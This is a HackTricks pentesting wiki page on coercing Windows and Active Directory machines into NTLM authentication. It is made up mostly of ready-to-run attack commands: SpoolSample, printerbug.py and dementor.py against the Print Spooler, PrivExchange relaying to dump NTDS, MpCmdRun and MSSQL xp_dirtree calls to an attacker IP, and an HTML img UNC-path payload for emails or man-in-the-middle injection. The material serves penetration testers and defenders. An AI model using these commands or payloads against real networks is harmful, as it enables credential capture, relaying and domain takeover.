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131 lines
7.6 KiB
Markdown
131 lines
7.6 KiB
Markdown
# Force NTLM Privileged Authentication
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## SharpSystemTriggers
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[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies.
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## Spooler Service Abuse
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If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\
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Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
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### Finding Windows Servers on the domain
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Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
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```bash
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Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
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```
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### Finding Spooler services listening
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Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
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```bash
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. .\Get-SpoolStatus.ps1
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ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
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```
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You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
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```bash
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rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
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```
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### Ask the service to authenticate against an arbitrary host
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You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
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```bash
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SpoolSample.exe <TARGET> <RESPONDERIP>
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```
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or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
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```bash
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python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
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printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
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```
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### Combining with Unconstrained Delegation
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If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)).
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## RCP Force authentication
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{% embed url="https://github.com/p0dalirius/Coercer" %}
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## PrivExchange
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The `PrivExchange` attack results from a flaw in the Exchange Server `PushSubscription` feature, which allows **any domain user with a mailbox to force the Exchange server to authenticate** to any host provided by the client over HTTP.
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The Exchange service runs as **SYSTEM** and is **over-privileged** by default (i.e., has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be leveraged to r**elay to LDAP and dump the domain NTDS database**. If we cannot relay to LDAP, this can be leveraged to relay and authenticate to **other hosts** within the domain. This attack will take you directly to Domain Admin with any authenticated domain user account.
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****[**This technique was copied from here.**](https://academy.hackthebox.com/module/143/section/1276)****
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## Inside Windows
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If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
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### Defender MpCmdRun
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```bash
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C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
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```
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### MSSQL
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```sql
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EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
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```
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Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
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## HTML injection
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### Via email
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If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as
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```html
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<img src="\\10.10.17.231\test.ico" height="1" width="1" />
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```
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and when he opens it, he will try to authenticate.
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### MitM
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If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page:
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```html
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<img src="\\10.10.17.231\test.ico" height="1" width="1" />
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```
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## Cracking NTLMv1
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If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).\
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_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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